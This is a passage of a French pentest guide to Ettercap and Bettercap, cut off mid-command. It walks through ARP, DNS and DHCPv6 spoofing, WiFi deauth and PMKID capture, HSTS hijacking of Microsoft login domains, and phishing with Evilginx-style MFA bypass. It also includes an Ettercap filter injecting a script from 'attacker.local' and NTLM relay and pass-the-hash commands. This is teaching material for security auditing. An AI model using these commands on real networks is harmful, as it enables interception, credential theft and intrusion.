Bettercap & Ettercap : Guide MITM et Pentest Réseau

L'interception de trafic réseau constitue l'un des vecteurs d'attaque les plus redoutables dans l'arsenal du pentester professionnel. Depuis les premières démonstrations d'ARP spoofing dans les années 2000 avec Ettercap jusqu'aux capacités modulaires de Bettercap en 2026, les outils de Man-in-the-Middle (MITM) ont connu une évolution considérable. Le passage d'Ettercap, écrit en C avec une architecture monolithique, vers Bettercap, développé en Go avec une approche modulaire et extensible, reflète la maturation de la discipline du pentest réseau. Cette transition n'est pas simplement technique : elle traduit un changement de paradigme dans la manière dont les professionnels de la sécurité offensive abordent l'interception, l'analyse et la manipulation du trafic en temps réel. Que vous meniez un audit réseau, un test d'intrusion Active Directory, ou une évaluation de la sécurité WiFi, la maîtrise de ces outils MITM attack tools reste incontournable pour tout consultant en cybersécurité offensive. Dans cet article expert, nous analysons en profondeur Ettercap et Bettercap, leurs techniques d'attaque, leurs modes opératoires en pentest réseau, et leur intégration dans des scénarios d'exploitation Active Directory complets.

Ettercap : l'outil historique du Man-in-the-Middle

Origines et philosophie

Ettercap est né en 2001, développé par Alberto Ornaghi (ALoR) et Marco Valleri (NaGA) à l'Université de Milan. À une époque où le concept même de test d'intrusion réseau en était à ses balbutiements, Ettercap a été l'un des premiers outils open source à offrir une suite complète d'attaques Man-in-the-Middle. Son nom, contraction de « Ethernet Capture », résume parfaitement sa vocation initiale : capturer et manipuler le trafic transitant sur un segment Ethernet local. Écrit intégralement en C, il a été conçu pour les systèmes Unix/Linux avec une attention particulière portée à la performance brute et à l'accès bas niveau aux interfaces réseau. Cette approche, révolutionnaire pour l'époque, a permis à des générations de pentesters d'apprendre les fondamentaux de l'interception réseau. Le projet est hébergé sur GitHub Ettercap et continue de recevoir des mises à jour communautaires, bien que son développement actif ait considérablement ralenti depuis 2020.

Architecture technique d'Ettercap

L'architecture d'Ettercap repose sur un noyau central qui gère les interfaces réseau en mode promiscuous, un moteur de dissection de paquets, et un système de plugins extensible. Le noyau intercepte les paquets via libpcap (ou WinPcap sous Windows), les passe à travers une chaîne de dissecteurs protocolaires qui extraient les informations pertinentes (credentials HTTP, FTP, Telnet, SMTP, POP3, IMAP, etc.), et les transmettent aux modules d'attaque actifs. Les principaux composants sont les suivants :

Le moteur de sniffing unifié supporte deux modes d'opération fondamentaux. Le mode « unified » place l'interface en mode promiscuous et sniffe tout le trafic du segment, tandis que le mode « bridged » utilise deux interfaces réseau pour créer un pont transparent, permettant l'interception sans altérer la topologie réseau. Ce second mode est particulièrement utile pour les audits physiques où l'on s'insère entre un poste et le switch.

Le moteur ARP poisoning gère l'envoi continu de paquets ARP falsifiés pour maintenir l'empoisonnement des caches ARP des cibles. Ettercap supporte l'empoisonnement unidirectionnel (one-way) et bidirectionnel (full-duplex), ce dernier permettant d'intercepter le trafic dans les deux sens entre deux hôtes ou entre un hôte et sa passerelle.

Plugins Ettercap

Le système de plugins constitue l'un des atouts majeurs d'Ettercap. Parmi les plugins les plus utilisés en pentest, on retrouve :

dns_spoof : ce plugin permet de rediriger les requêtes DNS des victimes vers des adresses IP contrôlées par l'attaquant. Il fonctionne en interceptant les réponses DNS et en les remplaçant par des entrées définies dans le fichier etter.dns. C'est la base du credential harvesting par phishing local.

sslstrip : ce plugin historique tente de downgrader les connexions HTTPS en HTTP en interceptant les redirections 301/302 vers HTTPS et en les remplaçant par des URL HTTP. Bien que moins efficace face aux politiques HSTS modernes, il reste pertinent dans certains environnements legacy.

remote_browser : permet de visualiser en temps réel les URL visitées par la victime, offrant une visibilité immédiate sur la navigation des cibles durant un pentest.

find_ip et scan_poisoner : outils de découverte réseau et de détection de poisoning concurrent, utiles pour vérifier l'absence d'autres attaquants sur le segment.

Filtres Ettercap : manipulation de trafic

Les filtres Ettercap représentent une fonctionnalité avancée permettant de modifier les paquets en transit. Écrits dans un langage de scripting propriétaire, ils sont compilés avant utilisation. Voici un exemple classique de filtre qui remplace du contenu dans les réponses HTTP :

# Filtre Ettercap : injection de contenu HTTP
# Fichier : inject.filter

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("Suppression de l'encoding pour manipulation.\n");
   }
}

if (ip.proto == TCP && tcp.src == 80) {
   if (search(DATA.data, "</head>")) {
      replace("</head>", "<script src='http://attacker.local/hook.js'></script></head>");
      msg("Injection JavaScript réussie !\n");
   }
}

La compilation et l'utilisation du filtre s'effectuent ainsi :

# Compilation du filtre
etterfilter inject.filter -o inject.ef

# Lancement d'Ettercap avec le filtre
ettercap -T -q -i eth0 -F inject.ef -M arp:remote /192.168.1.1// /192.168.1.50//

Les filtres permettent également d'intercepter et modifier des credentials en transit, de remplacer des binaires téléchargés (attaque « evilgrade »), ou d'injecter des iframes malveillantes dans les pages web servies en HTTP.

Interface graphique vs ligne de commande

Ettercap propose trois interfaces : une interface ncurses en mode texte (option -C), une interface graphique GTK (option -G), et un mode texte pur (option -T). L'interface GTK offre une visualisation intuitive des hôtes découverts, des connexions actives et des credentials capturés, ce qui la rend particulièrement adaptée aux démonstrations et formations. En contexte opérationnel de pentest, le mode texte (-T) combiné à l'option quiet (-q) est privilégié pour sa discrétion et son intégration dans des scripts d'automatisation. Cependant, l'interface graphique GTK souffre de bugs connus et de problèmes de stabilité, particulièrement sur les distributions récentes utilisant GTK3+. C'est l'une des raisons techniques qui ont motivé le développement de Bettercap.

Limitations fondamentales d'Ettercap

Malgré son statut historique, Ettercap présente plusieurs limitations structurelles qui le rendent inadapté aux environnements modernes. Son architecture monolithique en C rend l'ajout de nouvelles fonctionnalités laborieux et sujet aux bugs mémoire. L'absence de support natif pour IPv6, le manque de capacités WiFi avancées, l'impossibilité de scripter des scénarios complexes, et l'absence d'API de contrôle programmatique constituent autant de freins à son utilisation en contexte professionnel. La gestion des protocoles chiffrés modernes (TLS 1.3, HSTS, certificate pinning) est quasiment inexistante. C'est dans ce contexte que Bettercap a émergé comme successeur naturel.

Installation et configuration d'Ettercap et Bettercap

Installation d'Ettercap sur les principales distributions

L'installation d'Ettercap varie selon la distribution Linux utilisée. Sur Kali Linux, Ettercap est préinstallé dans la catégorie « Sniffing & Spoofing ». Sur les autres distributions, l'installation depuis les dépôts ou les sources est nécessaire. La compilation depuis les sources est recommandée pour bénéficier des dernières corrections de bugs et du support des plugins les plus récents :

# Installation via gestionnaire de paquets
# Debian/Ubuntu/Kali
sudo apt update && sudo apt install ettercap-graphical ettercap-text-only

# Fedora/RHEL
sudo dnf install ettercap ettercap-gtk

# Arch Linux
sudo pacman -S ettercap

# Compilation depuis les sources (dernière version)
git clone https://github.com/Ettercap/ettercap.git
cd ettercap
mkdir build && cd build
cmake .. -DENABLE_GTK=ON -DENABLE_PLUGINS=ON -DENABLE_IPV6=ON
make -j$(nproc)
sudo make install

# Vérification de l'installation
ettercap --version
# ettercap 0.8.3.1 (etter)

# Configuration post-installation
# Fichier de configuration principal
sudo nano /etc/ettercap/etter.conf
# Modifier : ec_uid = 0, ec_gid = 0
# Décommenter les redirections iptables pour le mode Linux

# Fichier DNS pour le plugin dns_spoof
sudo nano /etc/ettercap/etter.dns

La configuration du fichier etter.conf est une étape souvent négligée qui peut causer des dysfonctionnements. Il est essentiel de configurer les UID/GID à 0 (root) pour permettre l'accès aux interfaces réseau en mode promiscuous, et de décommenter les règles iptables appropriées pour le système d'exploitation utilisé. Sur les systèmes utilisant nftables plutôt qu'iptables, des adaptations supplémentaires sont nécessaires.

Installation de Bettercap : méthodes recommandées

Bettercap peut être installé de plusieurs manières, chacune adaptée à un contexte différent. L'installation via le binaire précompilé est la méthode la plus rapide, tandis que la compilation depuis les sources offre le plus de flexibilité. L'utilisation de Docker est idéale pour les environnements éphémères et les tests CI/CD :

# Méthode 1 : Installation via apt (Kali Linux / Parrot OS)
sudo apt update && sudo apt install bettercap

# Méthode 2 : Binaire précompilé depuis GitHub Releases
# Télécharger la dernière release depuis github.com/bettercap/bettercap/releases
wget https://github.com/bettercap/bettercap/releases/download/v2.40/bettercap_linux_amd64_v2.40.zip
unzip bettercap_linux_amd64_v2.40.zip
sudo mv bettercap /usr/local/bin/
sudo chmod +x /usr/local/bin/bettercap

# Méthode 3 : Compilation depuis les sources
# Prérequis : Go 1.21+, libpcap-dev, libusb-1.0-0-dev, libnetfilter-queue-dev
sudo apt install golang libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev
go install github.com/bettercap/bettercap@latest
sudo mv ~/go/bin/bettercap /usr/local/bin/

# Méthode 4 : Docker (environnement isolé)
docker pull bettercap/bettercap
docker run -it --privileged --net=host bettercap/bettercap -iface eth0

# Installation des caplets et de la Web UI
sudo bettercap -eval "caplets.update; ui.update; quit"

# Vérification
sudo bettercap -version
# bettercap v2.40.0

# Premier lancement interactif
sudo bettercap -iface eth0
# bettercap v2.40.0 (built for linux amd64) [type 'help' for a list of commands]
# 192.168.1.100/24 > 192.168.1.100 » help

Pour un déploiement professionnel, il est recommandé de compiler Bettercap depuis les sources avec les dépendances à jour, ce qui garantit la compatibilité avec les dernières fonctionnalités et les correctifs de sécurité. L'utilisation de Docker est particulièrement adaptée aux tests automatisés et aux environnements où l'installation permanente n'est pas souhaitée. Le flag --privileged et --net=host sont nécessaires pour donner au conteneur l'accès aux interfaces réseau de l'hôte.

Bettercap : le successeur moderne et modulaire

Genèse du projet

Bettercap a été créé par Simone Margaritelli (evilsocket) en 2015, initialement en Ruby, avant d'être entièrement réécrit en Go (Golang) à partir de la version 2.0. Ce choix technique est déterminant : Go offre une compilation statique produisant un binaire unique sans dépendances, une gestion native de la concurrence via les goroutines (essentielle pour gérer simultanément le sniffing, le spoofing et l'analyse), une performance proche du C sans les risques de corruption mémoire, et une portabilité native entre Linux, macOS et Windows. Le projet est activement maintenu sur GitHub Bettercap avec une communauté dynamique et des releases régulières. En 2026, Bettercap est considéré comme le framework de référence pour le bettercap pentest réseau, le test d'intrusion WiFi, et l'attaque de réseaux Bluetooth Low Energy (BLE).

Architecture modulaire

L'architecture de Bettercap est fondamentalement modulaire. Chaque fonctionnalité est encapsulée dans un module indépendant qui peut être activé, configuré et désactivé dynamiquement via la ligne de commande interactive ou l'API REST. Les principaux modules sont organisés en catégories fonctionnelles :

Modules réseau : net.probe (découverte active par ARP et mDNS), net.recon (découverte passive par analyse du trafic), net.sniff (capture et dissection de paquets), arp.spoof (ARP poisoning bidirectionnel), dns.spoof (résolution DNS falsifiée), dhcp6.spoof (serveur DHCPv6 rogue), packet.proxy (proxy de paquets avec callbacks).

Modules HTTP/HTTPS : http.proxy (proxy HTTP transparent avec injection), https.proxy (proxy HTTPS avec génération de certificats à la volée), http.server (serveur HTTP intégré pour le payload hosting).

Modules WiFi : wifi.recon (découverte de réseaux et clients), wifi.deauth (attaque de désauthentification), wifi.ap (point d'accès rogue / evil twin), wifi.assoc (association forcée), wifi.show (affichage des résultats).

Modules BLE : ble.recon (découverte de périphériques Bluetooth Low Energy), ble.enum (énumération des services et caractéristiques).

Modules HID : hid.recon (découverte de claviers/souris sans fil), hid.sniff (capture de frappes clavier sans fil).

Caplets : le système de scripting

Les caplets sont des scripts d'automatisation spécifiques à Bettercap, stockés dans des fichiers .cap. Ils permettent de définir des séquences de commandes, de configurer des modules et de créer des scénarios d'attaque reproductibles. Contrairement aux filtres Ettercap qui se limitent à la manipulation de paquets, les caplets offrent un contrôle complet sur l'ensemble des modules Bettercap. Voici un exemple de caplet de base pour un scénario MITM complet :

# caplet: mitm-basic.cap
# Description: ARP spoofing + sniffing + DNS spoofing

# Configuration du spoofing
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.0/24

# Configuration du DNS spoofing
set dns.spoof.domains login.example.com, mail.example.com
set dns.spoof.address 192.168.1.100

# Configuration du sniffing
set net.sniff.verbose true
set net.sniff.local false
set net.sniff.output /tmp/capture-pentest.pcap

# Activation des modules
net.probe on
sleep 5
arp.spoof on
dns.spoof on
net.sniff on

REST API et Web UI

L'une des innovations majeures de Bettercap est son API REST intégrée, qui permet le contrôle programmatique de l'ensemble des fonctionnalités. Cette API expose des endpoints pour l'exécution de commandes, la récupération de l'état des modules, la consultation des hôtes découverts, et l'accès aux événements en temps réel via WebSocket. La Web UI, accessible via navigateur, fournit une interface graphique moderne construite en Vue.js qui visualise le réseau, les attaques en cours, et les credentials capturés. Le lancement de l'API et de la Web UI s'effectue ainsi :

# Lancement avec l'API REST et la Web UI
sudo bettercap -iface eth0 -caplet http-ui

# Ou manuellement :
sudo bettercap -iface eth0 -eval "set api.rest.address 0.0.0.0; set api.rest.port 8083; set api.rest.username admin; set api.rest.password s3cur3P@ss; api.rest on"

# Accès à la Web UI : https://127.0.0.1:8083/
# Interaction programmatique via curl :
curl -k -u admin:s3cur3P@ss https://127.0.0.1:8083/api/session
curl -k -u admin:s3cur3P@ss -X POST https://127.0.0.1:8083/api/session -d '{"cmd":"net.show"}'

Cette API ouvre des possibilités considérables pour l'intégration dans des pipelines d'automatisation, le développement d'outils personnalisés, et le pilotage à distance de campagnes de test d'intrusion. Des frameworks comme Pwngrid exploitent cette API pour coordonner des flottes de Pwnagotchi, démontrant la flexibilité de l'écosystème Bettercap.

Techniques d'attaque réseau : théorie et pratique

ARP Spoofing / ARP Poisoning : le fondement du MITM

L'ARP spoofing pentest reste la technique la plus fondamentale et la plus fiable pour réaliser une attaque Man-in-the-Middle sur un réseau local. Le protocole ARP (Address Resolution Protocol) assure la correspondance entre adresses IP (couche 3) et adresses MAC (couche 2) sur un segment Ethernet. Sa conception, héritée des RFC 826 de 1982, ne prévoit aucun mécanisme d'authentification : tout hôte du réseau peut envoyer des réponses ARP non sollicitées (gratuitous ARP) pour associer n'importe quelle adresse IP à sa propre adresse MAC dans le cache ARP des autres machines du segment.

En pratique, l'attaque se déroule en trois phases. L'attaquant commence par envoyer des paquets ARP Reply à la victime, lui indiquant que l'adresse MAC de la passerelle correspond à l'adresse MAC de l'attaquant. Simultanément, il envoie des paquets ARP Reply à la passerelle, lui indiquant que l'adresse MAC de la victime correspond à sa propre adresse MAC. L'attaquant active le forwarding IP (echo 1 > /proc/sys/net/ipv4/ip_forward) pour relayer le trafic de manière transparente. Dès lors, tout le trafic entre la victime et la passerelle transite par la machine de l'attaquant, qui peut le capturer, le modifier ou l'injecter.

Avec Bettercap, l'implémentation est remarquablement simple :

# ARP Spoofing ciblé sur une machine spécifique
sudo bettercap -iface eth0

# Dans la console interactive Bettercap :
net.probe on
# Attente de la découverte réseau...
net.show

# Configuration de l'ARP spoofing
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.50
set arp.spoof.internal false
arp.spoof on

# Vérification : sur la machine victime
# arp -a devrait montrer la MAC de l'attaquant pour la gateway

# ARP Spoofing sur tout le sous-réseau
set arp.spoof.targets 192.168.1.0/24
arp.spoof on

L'option fullduplex est cruciale : elle empoisonne à la fois la victime et la passerelle, permettant d'intercepter le trafic dans les deux directions. Sans cette option, seul le trafic sortant de la victime est capturé. Le paramètre internal, lorsqu'il est activé, permet également de spoofer le trafic entre les hôtes du réseau local (et pas uniquement le trafic vers la passerelle), ce qui est utile pour intercepter les communications latérales dans un réseau d'entreprise.

La comparaison avec Ettercap pour la même attaque montre la différence de paradigme :

# Ettercap : ARP spoofing équivalent
# Mode texte, full-duplex, entre la gateway et la cible
ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.50//

# Mode graphique
ettercap -G -i eth0
# Puis : Sniff > Unified sniffing > Hosts > Scan for hosts
# Sélectionner gateway comme Target 1, victime comme Target 2
# Mitm > ARP poisoning > Sniff remote connections

DNS Spoofing : redirection et pharming

Le DNS spoofing exploite la position MITM obtenue via l'ARP poisoning pour falsifier les réponses DNS. Lorsque la victime effectue une requête DNS, l'attaquant intercepte la réponse légitime et la remplace par une réponse contenant l'adresse IP d'un serveur qu'il contrôle. Cette technique est la pierre angulaire du credential harvesting : en redirigeant mail.entreprise.com vers un clone de la page d'authentification, l'attaquant capture les identifiants des utilisateurs. C'est aussi la base du pharming, où des domaines bancaires ou de commerce en ligne sont détournés.

# DNS Spoofing avec Bettercap
# Prérequis : ARP spoofing actif

# Rediriger des domaines spécifiques
set dns.spoof.domains outlook.office365.com, login.microsoftonline.com, sso.entreprise.fr
set dns.spoof.address 192.168.1.100
set dns.spoof.all false
dns.spoof on

# Rediriger TOUS les domaines (mode agressif)
set dns.spoof.all true
set dns.spoof.address 192.168.1.100
dns.spoof on

# Vérification depuis la machine victime :
# nslookup outlook.office365.com → devrait retourner 192.168.1.100

La configuration équivalente avec Ettercap nécessite l'édition du fichier /etc/ettercap/etter.dns :

# /etc/ettercap/etter.dns
outlook.office365.com      A   192.168.1.100
login.microsoftonline.com  A   192.168.1.100
*.entreprise.fr            A   192.168.1.100

# Lancement avec le plugin dns_spoof
ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.1// /192.168.1.50//

DHCP Spoofing : rogue DHCP et gateway hijack

L'attaque DHCP spoofing consiste à déployer un serveur DHCP rogue sur le réseau qui répond aux requêtes DHCP Discover avant le serveur légitime. Le serveur rogue attribue aux victimes une configuration réseau où la passerelle par défaut et/ou le serveur DNS pointent vers la machine de l'attaquant. Cette technique est plus discrète que l'ARP spoofing car elle n'altère pas les caches ARP existants et n'est efficace que lors du renouvellement des baux DHCP. Cependant, elle peut être combinée avec une attaque de starvation DHCP (épuisement du pool d'adresses du serveur légitime) pour forcer les machines à obtenir une nouvelle configuration.

Bettercap supporte le DHCPv6 spoofing via le module dhcp6.spoof, particulièrement efficace dans les environnements dual-stack IPv4/IPv6. Sur de nombreux réseaux d'entreprise, IPv6 est activé par défaut sur les postes Windows mais non géré par l'infrastructure, créant une surface d'attaque ignorée :

# DHCPv6 Spoofing avec Bettercap
set dhcp6.spoof.domains entreprise.local
set dhcp6.spoof.address fe80::1
dhcp6.spoof on

# Le module répond aux requêtes DHCPv6 Solicit
# et attribue l'adresse de l'attaquant comme serveur DNS IPv6

HTTPS Downgrade : SSLstrip et tentatives de contournement HSTS

L'attaque SSLstrip, conceptualisée par Moxie Marlinspike en 2009, exploite le fait que de nombreux utilisateurs accèdent aux sites HTTPS via une redirection depuis HTTP. L'attaquant, en position MITM, intercepte la redirection HTTP 301/302 vers HTTPS et présente à la victime une version HTTP du site, tout en maintenant une connexion HTTPS vers le serveur légitime. L'utilisateur communique en clair avec l'attaquant, qui relaie en chiffré vers le serveur.

En 2026, cette attaque est largement mitigée par HSTS (HTTP Strict Transport Security), les listes de préchargement HSTS des navigateurs, et les politiques de sécurité renforcées. Cependant, Bettercap intègre le module hstshijack qui tente de contourner HSTS en remplaçant les domaines par des variantes légèrement modifiées (par exemple, wwww.google.com au lieu de www.google.com) et en obtenant des certificats valides pour ces variantes via des techniques de homoglyph ou de typosquatting. L'efficacité reste limitée contre les navigateurs modernes, mais certains environnements restent vulnérables :

# HTTPS Proxy avec SSLstrip et hstshijack
set http.proxy.sslstrip true
set http.proxy.port 8080

# Charger le caplet hstshijack
caplet.load hstshijack/hstshijack

# Configuration personnalisée du hstshijack
set hstshijack.targets outlook.office365.com, login.microsoftonline.com
set hstshijack.replacements outlk.office365.com, lgn.microsoftonline.com
set hstshijack.blockscripts false
set hstshijack.obfuscate true
set hstshijack.payloads *:/tmp/inject.js

http.proxy on
arp.spoof on

Attaques WiFi : deauth, evil twin, PMKID et capture de handshake

Les capacités WiFi de Bettercap sont considérablement plus avancées que celles d'Ettercap (qui ne supporte pas le WiFi). Bettercap transforme une interface WiFi en mode monitor en un véritable scanner et outil d'attaque WiFi. Les principales attaques supportées incluent la désauthentification, la capture de handshake WPA, l'attaque PMKID, et la création de points d'accès rogue (evil twin).

L'attaque de désauthentification envoie des trames de management 802.11 falsifiées pour forcer la déconnexion d'un client de son point d'accès. Cette technique est utilisée comme préalable à la capture de handshake WPA (le client qui se reconnecte génère un handshake 4-way capturé par l'attaquant) ou pour contraindre le client à se connecter à un point d'accès evil twin.

# Configuration WiFi Bettercap
# Prérequis : interface WiFi en mode monitor
sudo airmon-ng start wlan0

# Lancement de Bettercap en mode WiFi
sudo bettercap -iface wlan0mon

# Découverte des réseaux et clients
wifi.recon on
# Attente de la découverte...
wifi.show

# Désauthentification ciblée
wifi.deauth AA:BB:CC:DD:EE:FF
# AA:BB:CC:DD:EE:FF = BSSID du point d'accès cible

# Capture de handshake WPA (automatique après deauth)
set wifi.handshakes.file /tmp/handshakes/
wifi.recon on

# Attaque PMKID (ne nécessite pas de client connecté)
# Bettercap envoie une requête d'association et capture le PMKID
# dans le premier message EAPOL
wifi.assoc all

L'attaque PMKID, découverte par Jens Steube (hashcat) en 2018, est particulièrement redoutable car elle ne nécessite pas qu'un client soit connecté au point d'accès. Le PMKID est dérivé du PMK (Pairwise Master Key) et peut être craqué hors ligne avec hashcat. Bettercap automatise la capture du PMKID en envoyant des trames d'association à tous les points d'accès découverts.

Mode opératoire pentest réseau avec Bettercap

Phase 1 : Découverte réseau (net.probe, net.recon)

Toute mission de pentest réseau commence par une phase de découverte. Bettercap offre deux modules complémentaires : net.probe pour la découverte active et net.recon pour la découverte passive. Le module net.probe envoie des requêtes ARP pour chaque adresse du sous-réseau, ainsi que des requêtes mDNS et NBNS pour identifier les services. Le module net.recon analyse passivement le trafic réseau pour détecter les hôtes qui communiquent sans envoyer de paquets supplémentaires.

# Phase 1 : Découverte réseau complète
sudo bettercap -iface eth0

# Découverte active
net.probe on

# Attendre 30 secondes pour la découverte complète
sleep 30

# Affichage des résultats
net.show

# Résultat typique :
# ┌─────────────────────┬───────────────────┬──────────────────┬───────────────────┐
# │       IP Address    │   MAC Address     │      Vendor      │      Hostname     │
# ├─────────────────────┼───────────────────┼──────────────────┼───────────────────┤
# │ 192.168.1.1     ✓   │ aa:bb:cc:dd:ee:01 │ Cisco Systems    │ gateway.local     │
# │ 192.168.1.10    ✓   │ aa:bb:cc:dd:ee:10 │ Dell Inc.        │ DC01.corp.local   │
# │ 192.168.1.20    ✓   │ aa:bb:cc:dd:ee:20 │ Hewlett-Packard  │ SRV-FILE.corp     │
# │ 192.168.1.50    ✓   │ aa:bb:cc:dd:ee:50 │ Intel Corp.      │ PC-COMPTA01       │
# │ 192.168.1.51    ✓   │ aa:bb:cc:dd:ee:51 │ Realtek          │ PC-RH02           │
# └─────────────────────┴───────────────────┴──────────────────┴───────────────────┘

# Découverte passive (complémentaire)
net.recon on

# Filtrage par vendor pour identifier les cibles prioritaires
# Les postes Dell/HP/Lenovo sont généralement des postes utilisateurs
# Les Cisco/Juniper sont des équipements réseau

Cette phase permet d'identifier la topologie du réseau, les postes utilisateurs, les serveurs (contrôleurs de domaine, serveurs de fichiers), et les équipements d'infrastructure. Ces informations sont essentielles pour planifier les phases d'attaque suivantes et sélectionner les cibles pertinentes.

Phase 2 : ARP spoofing ciblé (arp.spoof)

Après la phase de découverte, l'ARP spoofing ciblé est déployé sur les machines identifiées comme intéressantes. En contexte de pentest professionnel, il est crucial de limiter le scope du spoofing pour éviter les perturbations réseau. L'empoisonnement d'un sous-réseau complet peut provoquer des tempêtes de broadcast et des instabilités, ce qui alerterait immédiatement l'équipe SOC.

# Phase 2 : ARP spoofing ciblé
# Cibler uniquement les postes utilisateurs identifiés
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.1.50, 192.168.1.51, 192.168.1.52
set arp.spoof.internal false
arp.spoof on

# Vérification que le forwarding est actif
# (Bettercap l'active automatiquement, mais vérifier)
! cat /proc/sys/net/ipv4/ip_forward
# Doit retourner 1

# Monitoring de l'état du spoofing
events.show 10

Phase 3 : Sniffing et capture de credentials (net.sniff)

Avec le MITM en place, le module net.sniff capture et dissecte le trafic en transit. Bettercap intègre des dissecteurs pour les protocoles courants et extrait automatiquement les credentials en clair ou faiblement chiffrés. Les protocoles ciblés incluent HTTP (Basic Auth, formulaires POST), FTP, Telnet, SMTP, POP3, IMAP, SNMP (community strings), et les protocoles d'authentification réseau comme NTLMv2 et Kerberos.

# Phase 3 : Sniffing avec capture PCAP
set net.sniff.verbose true
set net.sniff.local false
set net.sniff.output /tmp/pentest-capture-%Y%m%d-%H%M.pcap
set net.sniff.filter "not arp and not udp port 5353"
net.sniff on

# Les credentials capturés apparaissent automatiquement :
# [net.sniff.credentials] 192.168.1.50 → HTTP Basic Auth: admin:P@ssw0rd
# [net.sniff.credentials] 192.168.1.51 → FTP: comptable:Budget2026!
# [net.sniff.credentials] 192.168.1.50 → NTLM: CORP\jdupont [NTLMv2 hash]

# Filtrage spécifique pour les credentials HTTP
set net.sniff.filter "tcp port 80 or tcp port 8080 or tcp port 443"
net.sniff on

# Export des credentials capturés
events.show | grep credentials

La capture de hashes NTLMv2 est particulièrement précieuse en contexte de pentest Active Directory. Ces hashes peuvent être soumis à un crack offline avec hashcat ou john, ou utilisés directement dans des attaques de NTLM relay. Pour approfondir les techniques de relais NTLM, consultez notre guide complet sur le NTLM relay moderne.

Phase 4 : DNS spoofing pour credential harvesting

La phase de DNS spoofing transforme la position MITM en vecteur de credential harvesting actif. En redirigeant les domaines d'authentification vers des clones contrôlés par l'attaquant (hébergés par le module http.server de Bettercap ou par un outil dédié comme Gophish ou Evilginx), l'attaquant capture les credentials saisis par les utilisateurs.

# Phase 4 : DNS spoofing + credential harvesting
# Prérequis : page de phishing prête sur 192.168.1.100:8888

# Démarrer le serveur HTTP intégré pour le phishing
set http.server.address 0.0.0.0
set http.server.port 8888
set http.server.path /opt/phishing/outlook-clone/
http.server on

# Configurer le DNS spoofing pour les domaines cibles
set dns.spoof.domains outlook.office365.com, login.microsoftonline.com
set dns.spoof.address 192.168.1.100
dns.spoof on

# Monitoring des accès au serveur de phishing
events.show | grep http.server

# Alternative avancée : utiliser Evilginx2 comme reverse proxy
# pour capturer les tokens de session (bypass MFA)
# Le DNS spoofing Bettercap redirige vers Evilginx2
set dns.spoof.domains login.microsoftonline.com
set dns.spoof.address 192.168.1.100
# Evilginx2 écoute sur 192.168.1.100:443

Phase 5 : HTTPS proxy et injection (hstshijack)

Le proxy HTTPS de Bettercap permet d'intercepter le trafic chiffré en générant des certificats à la volée signés par une autorité de certification (CA) contrôlée par l'attaquant. Si cette CA est installée dans le trust store des victimes (ce qui peut être le cas dans les environnements d'entreprise où une PKI interne est déployée via GPO), l'interception est transparente. Sans CA de confiance, le navigateur affichera un avertissement de certificat, ce qui réduit l'efficacité de l'attaque.

# Phase 5 : HTTPS proxy avec injection JavaScript
# Génération de la CA (une seule fois)
# Bettercap génère automatiquement une CA dans ~/.bettercap/

# Configuration du proxy HTTPS
set https.proxy.sslstrip false
set https.proxy.port 8443
set https.proxy.certificate /opt/pentest/ca.pem
set https.proxy.key /opt/pentest/ca.key
set https.proxy.script /opt/pentest/inject.js
https.proxy on

# Script d'injection JavaScript (inject.js)
# Ce script est injecté dans chaque page HTTPS proxifiée :
# function onResponse(req, res) {
#     if (res.ContentType.indexOf('text/html') != -1) {
#         var body = res.ReadBody();
#         res.Body = body.replace('',
#             '');
#     }
# }

# Alternative : utiliser le caplet hstshijack pour le downgrade HSTS
caplet.load hstshijack/hstshijack

Phase 6 : Exploitation des credentials capturés

Les credentials capturés durant les phases précédentes constituent le point de départ de l'exploitation. Les mots de passe en clair permettent un accès direct aux systèmes. Les hashes NTLMv2 ouvrent plusieurs voies : le crack offline, le pass-the-hash, ou le relais NTLM vers d'autres services. Les tokens de session capturés via Evilginx permettent le bypass MFA. L'intégration avec Impacket permet d'exploiter les credentials capturés pour l'énumération Active Directory, le mouvement latéral, et l'escalade de privilèges.

# Exploitation des credentials capturés

# 1. Crack des hashes NTLMv2 avec hashcat
hashcat -m 5600 captured_ntlmv2.txt /opt/wordlists/rockyou.txt -r /opt/rules/best64.rule

# 2. Pass-the-Hash avec Impacket
python3 psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 CORP/admin@192.168.1.10

# 3. NTLM Relay avec ntlmrelayx
python3 ntlmrelayx.py -t ldaps://DC01.corp.local -wh attacker.local --escalate-user compromised-user

# 4. Vérification des accès avec CrackMapExec
crackmapexec smb 192.168.1.0/24 -u jdupont -p 'CapturedPassword123!' --shares

Bettercap pour le pentest Active Directory

Contexte : les protocoles de résolution de noms en environnement AD

Les environnements Active Directory reposent sur plusieurs protocoles de résolution de noms qui constituent autant de surfaces d'attaque exploitables via Bettercap. Au-delà du DNS classique, les systèmes Windows utilisent LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service), et mDNS (multicast DNS) comme mécanismes de fallback lorsque la résolution DNS échoue. Ces protocoles broadcast/multicast ne disposent d'aucun mécanisme d'authentification, ce qui permet à un attaquant en position MITM de répondre aux requêtes et de capturer des hashes d'authentification NTLMv2.

La combinaison de Bettercap et Responder (ou d'Inveigh pour les environnements purement Windows) crée un vecteur d'attaque extrêmement puissant contre Active Directory. Bettercap assure la couche MITM (ARP spoofing, DNS spoofing), tandis que Responder capture les authentifications NTLM, SMB et HTTP provoquées par les protocoles de résolution de noms.

Scénario d'attaque : LLMNR/NBT-NS poisoning via ARP spoofing

Dans un scénario classique de bettercap active directory, l'attaquant combine l'ARP spoofing de Bettercap avec le poisoning LLMNR/NBT-NS de Responder pour maximiser la surface de capture. L'ARP spoofing redirige le trafic DNS légitime, forçant les machines à utiliser les protocoles de fallback (LLMNR, NBT-NS) qui sont interceptés par Responder.

# Scénario combiné Bettercap + Responder pour pentest AD

# Terminal 1 : Bettercap pour l'ARP spoofing et le DNS manipulation
sudo bettercap -iface eth0 -eval "
  net.probe on;
  sleep 10;
  set arp.spoof.fullduplex true;
  set arp.spoof.targets 192.168.1.0/24;
  set arp.spoof.internal true;
  arp.spoof on;
